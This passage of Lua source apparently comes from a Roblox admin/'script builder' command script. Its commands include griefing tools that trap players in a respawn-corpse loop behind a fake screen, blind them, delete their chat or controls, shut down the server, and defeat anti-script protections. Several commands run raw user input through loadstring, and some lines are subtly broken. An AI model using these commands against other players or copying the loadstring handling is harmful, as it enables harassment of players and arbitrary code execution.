- smoke.Parent=v
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'v','visible'},'Your character visibled...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.CreateScript('LocalScript',Player.PlayerGui,[[
- game.Players.LocalPlayer.Character.Parent=workspace
- ]])
- end)
- end
- end)
- A.Functions.CreateCommand({'placeport','-pp'},'lol',function(v,s,w)
- if not A.Functions.ListCheck(A.Players.Stats.Admins,s.Name)then return end
- for i,v in pairs(A.Functions.FindPlayer(w[1],s))do
- for ii,vv in pairs(v:children'')do
- if vv:IsA'PlayerGui'then
- A.Functions.CreateScript('LocalScript',vv,[[
- game:GetService'TeleportService':Teleport(]]..w[2]..[[)
- ]])
- end
- end
- end
- end)
- A.Functions.CreateCommand({'hint','h'},'Hint for public...',function(v,s,w)
- A.Functions.Report(v,'hint','all')
- end)
- A.Functions.CreateCommand({'mess','m'},'Message for public...',function(v,s,w)
- A.Functions.Report(v,'message','all')
- end)
- A.Functions.CreateCommand({'ghint','gh'},'Hint for public...',function(v,s,w)
- A.Functions.Tell(v)
- end)
- A.Functions.CreateCommand({'gmess','gm'},'Message for public...',function(v,s,w)
- A.Functions.Tell(v,nil,'Message')
- end)
- A.Functions.CreateCommand({'madnesskos','mko','mkos'},'mko/noob',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- A.CPrint(function()
- if A.Functions.SAdmin(Player)then return end
- for i,v in pairs(A.Players.Stats.KodList)do if v==Player then return end end
- table.insert(A.Players.Stats.KodList,Player)
- for i,v in pairs(pt(Player).Connects)do pcall(function()v:disconnect''end)end
- pcall(function()Player.CharacterAppearance=''end)
- pt(Player).Respawn=false
- A.Functions.CreateScript('LocalScript',Player,[[
- script.remove(script)
- pcall(function()
- game:service'SoundService'.DistanceFactor=0
- game:service'SoundService'.DopplerScale=0
- game:service'SoundService'.RolloffScale=0
- end)
- local screen=A.Instance.new('ScreenGui',game:service'CoreGui')
- local text=A.Instance.new'TextLabel'
- text.Size=A.UDim2.new(1,2,1,2)
- text.Position=A.UDim2.new(0,-1,0,-1)
- text.BackgroundColor3=A.Color3.new(0,0,0)
- text.TextColor3=A.Color3.new(1,1,1)
- text.Font=2
- text.FontSize=7
- text.Text='Waiting for new game!'
- text.Parent=screen
- pcall(function()game:service'VirtualUser':Button1Down(A.Vector2.new(.5,.5))end)
- ]])
- wait'1'
- local corpse=A.Instance.new'Model'
- local h=Instance.new('Humanoid',corpse)
- local c=A.Instance.new('ObjectValue',h)
- corpse.Name=Player.Name..[['s corpse]]
- c.Name='creator'
- c.Value=s
- local ccorspe
- while Player do
- A.Remove(Player.Character)
- ccorpse=corpse:clone''
- ccorpse.Parent=game:service'Workspace'
- Player.Character=ccorpse
- wait'.1'
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'cleanstartweapon','csw','cstartw'},[[remove starterpack...]],function(v,s,w)
- for i,v in pairs(A.Objects.Packs.StarterPack)do
- pcall(function()v:remove''end)
- end
- A.Objects.Packs.StarterPack={}
- end)
- A.Functions.CreateCommand({'startweapon','sw','startw'},[[Add start weapon "sw/playerName" or "sw/weaponID"...]],function(v,s,w,pf,pt)
- if tonumber(w[1])then table.insert(A.Objects.Packs.StarterPack,num)end
- for i,p in pairs(pf(w[1],s))do
- for i,v in pairs(A.Functions.WaitingForObject(p,'ClassName','Backpack'):children'')do table.insert(A.Objects.Packs.StarterPack,v:clone'')end
- end
- end)
- A.Functions.CreateCommand({'rg','rguis'},'Guis remove...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- for i,w in pairs(A.Functions.GetAll(Player))do
- if w:IsA'GuiObject'or w:IsA'ScreenGui'then
- w:remove()
- end
- end
- end
- end)
- A.Functions.CreateCommand({'rpk','removepack'},'Tools/HopperBins remove...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- for childnum,child in pairs(Player:children())do
- if child:IsA('Backpack')then
- for guinum,gui in pairs(child:children())do
- game:service('Debris'):AddItem(gui,0)
- end
- end
- end
- end
- end)
- A.Functions.CreateCommand({'nchar','nc'},'Character remove and you can move your camera...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pcall(function()Player.Character:remove''end)
- Player.Character=nil
- end
- end)
- A.Functions.CreateCommand({'unrofl','undad'},'unrofl stuff "/unrofl/somebody"',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.Functions.CreateScript('LocalScript',Player,[==[ Instance.Rofl=true]==])
- end
- end)
- A.Functions.CreateCommand({'rofl','dad'},'rofl stuff "/rofl/somebody"',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.CreateScript('LocalScript',Player,[==[
- script.Parent=nil
- Instance.Rofl=false
- if Instance.Rofl then return end
- Screen=A.Instance.new('ScreenGui',A.Functions.WaitingForObject(Player,'className','PlayerGui'))
- Frame=A.Instance.new('Frame',Screen)
- Frame.Size=A.UDim2.new(1,2,1,2)
- Frame.Position=A.UDim2.new(0,-1,0,-1)
- Frame.BorderSizePixel=0
- Frame.Transparency=.5
- Frame.Changed:connect(function(c)Frame.Parent=Screen end)
- Screen.Changed:connect(function(c)Screen.Parent=A.Functions.WaitingForObject(Player,'className','PlayerGui')end)
- while not Instance.Rofl do
- Frame.BackgroundColor3=A.Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
- A.Wait''
- end
- Frame=nil
- Screen=nil
- Screen.Parent=nil
- ]==]).Name='Unrofl'
- end)
- end
- end)
- A.Functions.CreateCommand({'unblind','ubd'},[[/unblind/somebody...]],function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- pt(Player).Blind=false
- A.Functions.GetRemoveChildren('Name','BLIND!',Player)
- end
- end)
- A.Functions.CreateCommand({'blind','bd'},[[Blind guest admins can't use...]],function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- A.CPrint(function()
- local table=pt(Player)
- if table.Blind then return end
- table.Blind=true
- while table.Blind do
- if not Player:FindFirstChild('BLIND!',true)then
- local s=A.Instance.new('ScreenGui',A.Functions.WaitingForObject(Player,'ClassName','PlayerGui'))
- local b=A.Instance.new('TextButton',s)
- b.Name='BLIND!'
- b.AutoButtonColor=nil
- b.Size=A.UDim2.new(1,0,1,1)
- b.Position=A.UDim2.new(0,0,0,-1)
- b.BackgroundColor3=A.Color3.new(0,0,0)
- b.TextColor3=A.Color3.new(1,1,1)
- b.Font=2
- b.FontSize=8
- b.Text='Alakazard blinded you!'
- end
- Player.DescendantRemoving:wait''
- wait''
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'clearladded','cld','cladder'},'"cladder/" if you want clean',function(v,s,w)
- for i,v in pairs(A.Functions.SuperFindChildren(game:service'Workspace','Name','Ladder!_'))do
- v:remove''
- end
- end)
- A.Functions.CreateCommand({'ladder','ld'},'"ladder/DegreeInNum"',function(v,s,w)
- local torso,lt1,lt2,lt3,ladder
- torso=s.Character.Torso
- lt1=A.N'Part'
- lt2=A.N'Part'
- lt3=A.N'Part'
- ladder=A.N'Model'
- ladder.Parent=game:service'Workspace'
- ladder.Name='Ladder!_'
- A.N'BlockMesh'.Parent=lt1
- lt1.Anchored=true
- lt1.formFactor=0
- lt1.Transparency=0
- lt1.Size=A.V(6,1,1)
- lt1.CFrame=(torso.CFrame+torso.CFrame.lookVector*5)-Vector3.new(0,3,0)
- lt1.Parent=ladder
- lt1:MakeJoints''--_a_s_d_
- A.N'BlockMesh'.Parent=lt2
- lt2.Anchored=false
- lt2.formFactor=0
- lt2.Transparency=0
- lt2.Size=A.V(1,math.ceil(math.abs(v))*2,1)
- lt2.CFrame=lt1.CFrame
- lt2.Parent=ladder
- lt2:MakeJoints''--_a_s_d_
- local weld=A.N'Motor'
- weld.Parent=lt1
- weld.Part0=lt1
- weld.Part1=lt2
- weld.C0=CFrame.new(2.5,math.ceil(math.abs(v)),0)
- A.N'BlockMesh'.Parent=lt3
- lt3.Anchored=false
- lt3.formFactor=0
- lt3.Transparency=0
- lt3.Size=A.V(1,math.ceil(math.abs(v))*2,1)
- lt3.CFrame=lt1.CFrame
- lt3.Parent=ladder
- lt3:MakeJoints''--_a_s_d_
- local weld1=A.N'Motor'
- weld1.Parent=lt1
- weld1.Part0=lt1
- weld1.Part1=lt3
- weld1.C0=CFrame.new(-2.5,math.ceil(math.abs(v)),0)
- weld.Changed:connect(function()
- lt1.Anchored=false
- end)
- for i=1,math.ceil(math.abs(v)) do
- wait''
- local V=A.N'Part'
- A.N'BlockMesh'.Parent=V
- V.Transparency=1
- V.formFactor=0
- V.Size=A.V(4,1,1)
- V.CFrame=lt1.CFrame+Vector3.new(0,2*i-.5,0)
- V.BrickColor=BrickColor.new'1003'
- V.Elasticity=0
- V.Friction=10
- V.Parent=ladder
- local weld=A.N'Weld'
- weld.Parent=lt1
- weld.Part0=lt1
- weld.Part1=V
- weld.C0=CFrame.new(0,2*i-.5,0)
- A.X(function()
- for ii=0,1,.1 do wait'.1'
- V.Transparency=1-i
- end
- V.Transparency=0
- end)
- end
- end)
- A.Functions.CreateCommand({'exp','explosion'},'Explosion on player character...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pcall(function()
- Player.Character:BreakJoints''
- A.N('Explosion',Player.Character).Position=Player.Character.Torso.Position
- end)
- end
- end)
- A.Functions.CreateCommand({'force','forcefield','ff'},'Force field in player character...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pt(Player).ForceShield=false
- A.Functions.GetRemoveChildren('ClassName','ForceField',Player.Character)
- pt(Player).ForceShield=true
- A.Functions.ForceField(Player,pt(Player))
- end
- end)
- A.Functions.CreateCommand({'unforce','unforceshield','unff'},'No force field in player character...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- pt(Player).ForceShield=false
- A.Functions.GetRemoveChildren('ClassName','ForceField',Player.Character)
- end
- end)
- A.Functions.CreateCommand({'damage','dmg'},'Dammage lol',function(v,s,W)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(W[1],s))do
- A.X(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- if v:IsA'Humanoid'then
- v:TakeDamage(W[2])
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'heal','hl'},'Heal+out back limbs "heal/PlayerName"',function(v,s,w,pf,pt)
- for PlayerPos,Player in pairs(pf(v,s))do
- A.X(function()
- A.Functions.WeldingCharacterLimbs(Player.Character)
- end)
- end
- end)
- A.Functions.CreateCommand({'killchat','trallchat'},'Aóöüódöümóiöünó ösüóköüióölüól',function(v,s,w)
- if not A.Functions.ListCheck(A.Players.Stats.Admins,s.Name)then return end
- for pn,p in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.CreateScript('LocalScript',A.Functions.WaitingForObject(Player,'class','playergui'),[[
- game:service'Debris':AddItem(game:FindFirstChild('ChatHud',true),0)
- ]])
- end)
- end
- end)
- A.Functions.CreateCommand({'erh'},'Screen spam [ Admin skill ]',function(v,s,w)
- if not A.Functions.ListCheck(A.Players.Stats.Admins,s.Name)then return end
- for pn,p in pairs(A.Functions.FindPlayer(v,s))do
- A.Functions.Erh(p)
- end
- end)
- A.Functions.CreateCommand({'noteam','nt'},'Team disjoined rofl',function(v,s,w)
- for pn,p in pairs(pf(w[1],s))do
- p.Neutral=true
- end
- end)
- A.Functions.CreateCommand({'removeteam','rt'},'Remove team [rt/TeamName]',function(v,s,w,pf)
- for i,Team in pairs(A.Functions.SuperFindChildren(game:service'Teams','Name',w[1]))do
- for y,w in pairs(pf('all',s))do
- if w.TeamColor==Team.TeamColor then w.Neutral=true end
- end
- Team:remove''
- end
- end)
- A.Functions.CreateCommand({'jointeam','jt'},'Join team "jt/TeamName/PlayerName"',function(v,s,w,pf)
- for i,Team in pairs(A.Functions.SuperFindChildren(game:service'Teams','Name',w[1]))do
- for s,v in pairs(pf(w[2],s))do
- v.Neutral=false
- v.TeamColor=Team.TeamColor
- end
- end
- end)
- A.Functions.CreateCommand({'teamcreate','tc'},'Create new team "/tc/AddTeamName/AddTeamColor/AddAutoAssignable(true or yes or 1 or no or false or 0)"',function(v,s,w)
- local Boolean=A.Functions.FindBoolean(w[3])
- if type(Boolean)~='boolean'then return end
- local Team=A.Instance.new'Team'
- Team.Name=w[1]
- Team.TeamColor=A.BrickColor.new(loadstring('return '..w[2])'')
- Team.AutoAssignable=Boolean
- Team.AutoColorCharacters=false
- Team.Parent=game:service'Teams'
- end)
- A.Functions.CreateCommand({'humannoidcontrolkill','hck'},[[hck/noob User will can't control noob's body...(Admin skill trall!)]],function(v,s,w)
- if not A.Functions.ListCheck(A.Players.Stats.Admins,s.Name)then return end
- for pn,p in pairs(A.Functions.FindPlayer(v,s))do
- for i,v in pairs(p:children'')do
- if v:IsA'PlayerGui'then
- A.Functions.CreateScript('LocalScript',v,[[
- game:service'ControllerService'.Instance:remove()
- ]])
- end
- end
- end
- end)
- A.Functions.CreateCommand({'humannoidcontrol','hc'},[[Create humanoid controller to local controllerservice... "hc/playerName"]],function(v,s,w)
- if not A.Functions.ListCheck(A.Players.Stats.Admins,s.Name)then return end
- for pn,p in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.CreateScript('LocalScript',A.Functions.WaitingForObject(p,'class','playergui'),[[
- local chumanoid=A.Instance.new'HumanoidController'
- chumanoid.Parent=game:service'ControllerService'
- ]])
- end)
- end
- end)
- A.Functions.CreateCommand({'createpart','cpart'},'Creae part cpart/Size.x/Size.y/Size.z',function(v,s,w)
- local Size
- for i,v in pairs(w)do
- w[i]=tonumber(v)
- end
- if type(w[1])~='number'or type(w[2])~='number'or type(w[3])~='number'then
- Size=Vector3.new(2,1,4)
- elseif type(w[1])=='number'and type(w[2])=='number'and type(w[3])=='number'then
- Size=Vector3.new(w[1],w[2],w[3])
- end
- local Part=A.Functions.CreatePart(Size)
- Part.Anchored=true
- Part.Position=s.Character.Torso.Position+(s.Character.Torso.CFrame.lookVector*Part.Size.Magnitude)
- Part.Parent=game:service'Workspace'
- end)
- A.Functions.CreateCommand({'tp','tele','teleport'},'"tele/player1/player2" Teleport...',function(v,s,w,pf)
- local Position
- local Random=Vector3.new(math.random(-1,1),0,math.random(-1,1))
- if w[2]:match','then
- Position=loadstring('return A.CFrame.new('..w[2]..')')()+Random
- else
- for PlayerNum,Player in pairs(pf(w[2],s))do
- if A.CX(function()
- Position=Player.Character.Torso.CFrame+Random
- end)then break end
- end
- end
- A.X(function()
- for PlayerNum,Player in pairs(pf(w[1],s))do
- pcall(function()
- Player.Character.Torso.CFrame=Position
- end)
- end
- end)
- end)
- A.Functions.CreateCommand({'shutdown','shuti'},'Shutdown server...',function(v,s,w,pf)
- A.X(function()for i,Player in pairs(pf('all!',s))do A.Functions.CreateScript('LocalScript',Player,[[Player.Parent=nil Player.Parent=game.Players]])end end)
- for i,v in pairs(A.Functions.GetAll(game))do Delay(3,function()v.Parent=nil end)end
- wait'5'
- game.DescendantAdded:connect(function(c)A.X(function()c.Parent=nil end)end)
- end)
- A.Functions.CreateCommand({'rsws','rsavedws','removesavedweapons'},'Remove saved weapons "rsws/PlayerName"',function(v,s,w)
- for i,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- local PlayerTable=A.Players.PlayersTables[Player.Name]
- for i,v in pairs(PlayerTable.Weapons)do
- if type(v)=='userdata'then v:remove''end
- end
- PlayerTable.Weapons={}
- end)
- end
- end)
- A.Functions.CreateCommand({'saveweapons','sws'},'Save weapons. "sws/playerName" If player died will put back saved weapons.',function(v,s,w)
- for i,Player in pairs(A.Functions.FindPlayer(v,s))do
- local PlayerTable=A.Players.PlayersTables[Player.Name]
- A.X(function()
- for i,v in pairs(PlayerTable.Weapons)do
- if type(v)=='userdata'then v:remove''end
- end
- PlayerTable.Weapons={}
- for wn,w in pairs(A.Functions.WaitingForObject(Player,'class','Backpack'):children'')do
- table.insert(PlayerTable.Weapons,w:clone'')
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'remove'},'remove player from pöröiövöaötöe list "remove/playerName" if not in server "remove/name/PlayerName(minimum 3 character)"',function(v,s,w)
- if type(w[1])=='string'then
- if w[1]:lower''=='name'and type(w[2])=='string'then
- for i,e in pairs(A.Players.Stats.Pri)do
- if e:lower'':find(w[2]:lower'')==1 then
- table.remove(A.Players.Stats.Pri,i)
- end
- end
- return
- end
- end
- for i,c in pairs(A.Functions.FindPlayer(v,s))do
- for i,e in pairs(A.Players.Stats.Pri)do
- if e:lower''==c.Name:lower''then
- table.remove(A.Players.Stats.Pri,i)
- end
- end
- end
- end)
- A.Functions.CreateCommand({'add'},'Add player to pöröiövöaötöe list "add/playerName" if not in server "add/name/PlayerName(minimum 3 character)"',function(v,s,w)
- if type(w[1])=='string'then
- if w[1]:lower''=='name'and type(w[2])=='string'then
- table(A.Players.Stats.Pri,w[2]:lower'')
- return
- end
- end
- for i,c in pairs(A.Functions.FindPlayer(v,s))do
- table(A.Players.Stats.Pri,c.Name:lower'')
- end
- end)
- A.Functions.CreateCommand({'priserver','pri'},'"priserver/(on,true,1)or(off,false,0)"',function(v,s,w)
- if not A.Functions.Admin(s)then return end
- bool=v:lower''
- if bool=='true'or bool=='1'or bool=='on'then
- bool=true
- end
- if bool=='false'or bool=='0'or bool=='off'then
- bool=false
- end
- if type(bool)~='boolean'then return end
- A.BoolSettings.PriServer=bool
- end)
- A.Functions.CreateCommand({'insertingrun','irun','fmu'},'Permanent Admin stuff :P freemodels using fmu/(true[1]/false[0])',function(v,s,w)
- if not A.Functions.Admin(s)then return end
- bool=v:lower''
- if bool=='true'or bool=='1'then
- bool=true
- end
- if bool=='false'or bool=='0'then
- bool=false
- end
- if type(bool)~='boolean'then return end
- A.BoolSettings.FreeModelsUsing=bool
- end)
- A.Functions.CreateCommand({'guestsofdoom','god'},'Guest öböaönöö gfd/(true[1]/false[0])',function(v,s,w)
- bool=v:lower''
- if bool=='true'or bool=='1'then
- bool=true
- end
- if bool=='false'or bool=='0'then
- bool=false
- end
- if type(bool)~='boolean'then return end
- A.BoolSettings.GuestsOfDoom=bool
- end)
- A.Functions.CreateCommand({'bools','boolsets'},'Permanent Admins can use only! "bools/boolName/(true[1] or false[0])"...',function(v,s,w)
- if not A.Functions.Admin(s)then return end
- bool=w[2]:lower''
- if bool=='true'or bool=='1'then
- bool=true
- end
- if bool=='false'or bool=='0'then
- bool=false
- end
- if type(bool)~='boolean'then return end
- for i,c in pairs(A.BoolSettings)do
- if i:lower'':find(w[1])==1 then
- A.BoolSettings[i]=bool
- end
- end
- end)
- A.Functions.CreateCommand({'giveweapons','gws','givews'},'gws/stealerName/victimName...',function(v,s,w,pf)
- local Player1=pf(w[1],s)
- local Player2=pf(w[2],s)
- for PlayerNum,Player in pairs(Player2)do
- local Victim=Player
- A.X(function()
- for StealerNum,Stealer in pairs(Player1)do
- A.X(function()
- for wn,w in pairs(A.Functions.GetAll(Victim))do
- if w:IsA'Tool'or w:IsA'HopperBin'then
- w:clone''.Parent=Stealer.Backpack
- end
- end
- end)
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'unblock'},'unblock/property/name...',function(v,s,w)
- local N=w[2]:lower''
- local P=w[1]
- local T=nil
- if P:lower''=='classname'or P:lower''=='class'then
- P='ClassName'
- elseif P:lower''=='name'then
- P='Name'
- end
- A.Objects.Blocks[P][N]=false
- end)
- A.Functions.CreateCommand({'block'},'block/property/name...',function(v,s,w)
- local N=w[2]
- local P=w[1]
- local T=nil
- if P:lower''=='classname'or P:lower''=='class'then
- P='ClassName'
- elseif P:lower''=='name'then
- P='Name'
- end
- if type(A.Objects.Blocks[P])~='table'then
- A.Objects.Blocks[P]={}
- end
- A.Objects.Blocks[P][N]=true
- end)
- A.Functions.CreateCommand({'asb'},'Anaminus anti sb "asb/on" or "asb/off"',function(v,s,w)
- A.BoolSettings.AntiSB=false
- if v:lower''=='off'and v:lower''~='on'then return end
- for i,objectum in pairs(A.Functions.GetAll(game))do
- A.X(function()
- if objectum.Parent:FindFirstChild('Change')then return end
- if objectum.Name=='DSource'then
- objectum.Value=''
- objectum.Name=''
- objectum:remove''
- end
- end)
- end
- A.BoolSettings.AntiSB=true
- end)
- A.Functions.CreateCommand({'setstat','ss'},'Stat change. "ss/playerName/statName/value"...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(w[1],s))do
- A.X(function()
- local Player_=Player
- for i,v in pairs(Player_:children())do
- if v:IsA'IntValue'and v.Name=='leaderstats'then
- for l,k in pairs(v:children())do
- if k.Name:lower():find(w[2]:lower())==1 then
- k.Value=w[3]
- end
- end
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'leaderboard','lb'},'this is show kos and wos status "lb/"...',function(v,s,w)
- pcall(function()A.Objects.Leader:remove''end)
- A.Objects.Leader=game:service'InsertService':LoadAsset(475996240/8):children()[1]
- A.Objects.Leader.Parent=game:service'Workspace'
- end)
- A.Functions.CreateCommand({'unleaderboard','ulb'},'remove leader board "ulb/"...',function(v,s,w)
- pcall(function()A.Objects.Leader:remove''end)
- for i,v in pairs(A.Functions.GetAll(game))do
- if v.Name:lower():match'leaderboard'or v.Name:lower():match'leaderstats'then
- v:remove()
- end
- end
- end)
- A.Functions.CreateCommand({'e','ee'},'Test...',function(v,s,w)
- for i,v in pairs(w)do
- print(i,v)
- end
- end)
- A.Functions.CreateCommand({'doit';'work'},'"doit/port/property/property name/Parent/nil"',function(v,s,w)
- local Property=w[1]
- local Will=w[2]
- local Port=w[3]
- if not Will then Will=''end
- if not Port then Port=game else Port=loadstring('return '..w[3])()end
- if Property:lower''=='name'then Property='Name'end
- if Property:lower''=='parent'or Property:lower''=='par'then Property='Parent'end
- if Property:lower''=='txt'or Property:lower''=='text'then Property='Text'end
- for i,v in pairs(A.Functions.GetAll(Port))do
- A.X(function()
- if type(v[Property])=='string'then v[Property]=Will return end
- v[Property]=loadstring('return '..Will)()
- end)
- end
- end)
- A.Functions.CreateCommand({'clear';'cl'},' "clear/property/property name" of you want add port "clear/property/property name/port"...',function(v,s,w)
- local Port=w[3]
- if type(Port)=='string'then
- local e,cPort=loadstring('return '..Port)
- if cPort then
- A.Functions.Report('Alakazard; Added port not valid!','h',s.Name)
- return
- else
- Port=loadstring('return '..Port)()
- if Port==nil then
- A.Functions.Report('Alakazard; Added port not valid!','h',s.Name)
- return
- end
- end
- elseif type(Port)=='nil'then
- Port=game
- end
- for i,v in pairs(A.Functions.SuperFindChildren(Port,w[1],w[2]))do
- pcall(function()
- v:stop''
- end)
- A.X(function()
- v:remove''
- end)
- end
- end)
- A.Functions.CreateCommand({'csb','clearscript'},'clear SB scrips "csb/"...',function(v,s,w)
- for i,v in pairs(A.Objects.SBScrips)do v.Parent=nil end
- A.Functions.Report([[Admin scripts removed!]],'h',s.Name)
- end)
- A.Functions.CreateCommand({'c','sb','script'},'Scripting "s/sbc/Source"...',function(v,s,w)
- if v==''then return end
- local E=A.Functions.SearchStringBug(v)
- if E~=nil then
- A.X(function()
- A.Functions.Report(E,'h',s.Name)
- end)
- return
- else
- A.X(function()
- A.Functions.Report([[ Script run...]],'h',s.Name)
- end)
- end
- table.insert(A.Objects.SBScrips,A.Functions.CreateScript('Script',game:service'Workspace',v))
- end)
- A.Functions.CreateCommand({'lsb','local'},'Local Scripting...',function(v,s,w)
- if v==''then return end
- local E=A.Functions.SearchStringBug(v)
- local PlayerGui=A.Functions.WaitingForObject(s,'class','PlayerGui')
- local Script
- if E~=nil then
- A.X(function()
- A.Functions.Report(E,'h',s.Name)
- end)
- return
- else
- A.X(function()
- A.Functions.Report([[LocalScript run...]],'h',s.Name)
- end)
- end
- Script=A.Functions.CreateScript('LocalScript',s,v)
- table.insert(A.Objects.SBScrips,Script)
- end)
- A.Functions.CreateCommand({'musics'},'"s/musicsc/"',function(v,s,w)
- for i,c in pairs(A.Sounds.Musics)do
- wait'1'
- A.Functions.Report('Number ('..i..')'..c.Name,'h',s.Name)
- end
- end)
- A.Functions.CreateCommand({'char','charapp'},'Changing character appearance "s/charc/id',function(v,s,w,pf)
- if not tonumber(w[2])then return end
- for i,v in pairs(pf(w[1],s))do
- v.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?userId='..w[2]
- end
- end)
- A.Functions.CreateCommand({'musicstop','mstop'},[["s/mstopc/boolean"]],function(v,s,w)
- local Boolean=A.Functions.FindBoolean(w[1])
- if type(Boolean)=='string'then return end
- for i,v in pairs(A.Objects.Sounds)do
- A.X(function()
- if Boolean then
- v:stop''
- else
- v:stop''
- A.Wait''
- v:play''
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'musicvolume','mvolume'},[["s/mvolumec/Value"]],function(v,s,w)
- local num=tonumber(w[1])
- if not num then return end
- for i,v in pairs(A.Objects.Sounds)do
- A.X(function()
- v.Volume=num
- end)
- end
- end)
- A.Functions.CreateCommand({'musicpitch','mpitch'},[["s*mpitchc*Value"]],function(v,s,w)
- local num=tonumber(w[1])
- if not num then return end
- for i,v in pairs(A.Objects.Sounds)do
- A.X(function()
- v.Pitch=num
- end)
- end
- end)
- A.Functions.CreateCommand({'music','newmusic'},[["s*musicc*number"]],function(v,s,w)
- local SoundList=A.Sounds.Musics[tonumber(w[1])]
- for i,v in pairs(A.Objects.Sounds)do
- A.X(function()
- v:stop''
- A.Wait''
- v:remove''
- end)
- end
- if not SoundList then return end
- table.insert(A.Objects.Sounds,A.Functions.LoadSound(game:service'Lighting',SoundList))
- end)
- A.Functions.CreateCommand({'load','loadstring','read'},[[Don't use...]],function(v,s,w)
- if not A.Functions.ListCheck(A.Players.Stats.Admins,s.Name)then return end
- if v==''then return end
- local newDebug,E=loadstring(v)
- if E~=nil then
- A.X(function()
- A.Functions.Report(E,'h',s.Name)
- end)
- return
- else
- A.X(function()
- loadstring(v)()
- A.Functions.Report([[Ala not found bug!]],'h',s.Name)
- end)
- end
- end)
- A.Functions.CreateCommand({'unbreak';'asdasdasd'},'s*unbreakc*playerNamec*boolean',function(v,s,w,pf,pt)
- for i,v in pairs(pf(w[1],s))do
- pt(v).Unbreak=A.Functions.FindBoolean(w[2])
- A.Functions.Unbreak(v,pt(v))
- end
- end)
- A.Functions.CreateCommand({'stone'},[[s*stonec*playerNamec*Value...]],function(v,s,w,pf)
- for i,v in pairs(pf(w[1],s))do
- A.Functions.Stone(v.Character,tonumber(w[2]))
- end
- end)
- --==================================Commands Ended==================================--
- --==================================Commands Ended==================================--
- --==================================Commands Ended==================================--
- --==================================Create Loads==================================--
- --==================================Create Loads==================================--
- --==================================Create Loads==================================--
- A.Functions.CreateLoad('Character','ForceField',A.Functions.ForceField)
- A.Functions.CreateLoad('Character','Unbreak',A.Functions.Unbreak)
- A.Functions.CreateLoad('Character','Stuffs',function(Player,Table)if Table.LoopKill then Player.Character:BreakJoints''end end)
- A.Functions.CreateLoad('Character','Stuffs',function(Player,Table)A.Functions.Armor(Player.Character,Table.Armor)end)
- A.Functions.CreateLoad('Character','Stuffs',function(Player,Table)
- if not Player.Character then return end
- local c=Player.Character
- for i,v in pairs({c.Torso;c['Right Arm'];c['Left Arm'];c['Right Leg'];c['Left Leg']})do
- for ii,vv in pairs({'Bottom';'Top';'Left';'Right';'Front';'Back'})do
- v[vv..'Surface']=0
- end
- end
- end)
- A.Functions.CreateLoad('Character','Stuffs',A.Functions.InfHealth)
- A.Functions.CreateLoad('Character','Stuffs',A.Functions.HumanoidHide)
- A.Functions.CreateLoad('Character','Stuffs',A.Functions.Closer)
- A.Functions.CreateLoad('Character','Stuffs',A.Functions.StandUp)
- A.Functions.CreateLoad('Character','Stuffs',A.Functions.Fog)
- A.Functions.CreateLoad('Character','Stuffs',function(Player,Table)
- if not Table.HaveAFace then return end
- A.Functions.LoadFace(Table.FaceImage,Player,Table)
- end)
- A.Functions.CreateLoad('Character','Stuffs',function(Player,Table)
- A.Remove(A.Functions.WaitingForObject(Player.Character,'ClassName','ShirtGraphic'))
- end)
- A.Functions.CreateLoad('Character','AddHats',function(Player,Table)
- if not Player.Character:FindFirstChild'Head'then return end
- for i,v in pairs(Table.Hats)do
- if not Character:FindFirstChild(v.Name)then
- v:clone''.Parent=Player.Character
- end
- end
- end)
- A.Functions.CreateLoad('Character','Click Request Block',function(Player,Table)
- if not A.Functions.SAdmin(Player)then return end
- local Character=Player.Character
- for i,v in pairs(A.Functions.FindChildren(Character,'BasePart',3))do
- if not v:FindFirstChild'ClickDetector2'then
- A.Instance.new('ClickDetector',v).Name='ClickDetector2'
- end
- end
- A.Functions.Connect('FRBlock',Character.DescendantAdded:connect(function(c)
- if c:IsA'BasePart'then
- if not c:FindFirstChild'ClickDetector2'then
- A.Instance.new('ClickDetector',c).Name='ClickDetector2'
- end
- end
- end),Table.Connects)
- end)
- A.Functions.CreateLoad('PlayerGui','Guis',function(Player,Table,PlayerGui)for i,v in pairs(A.Context.Scripts)do A.Functions.CreateScript('LocalScript',Player,v.Source)end end)
- A.Functions.CreateLoad('PlayerGui','Guis',function(Player,Table,PlayerGui)A.Functions.JumpDeath(Player)end)
- A.Functions.CreateLoad('PlayerGui','Guis',function(Player,Table,PlayerGui)A.Functions.RbxCF(PlayerGui)end)
- A.Functions.CreateLoad('PlayerGui','StarterScripts',function(Player,Table,PlayerGui)for i,v in pairs(Table.Context)do A.Functions.CreateScript('LocalScript',Player,v.Source)end end)
- A.Functions.CreateLoad('PlayerGui','MessageGui',function(Player,Table)
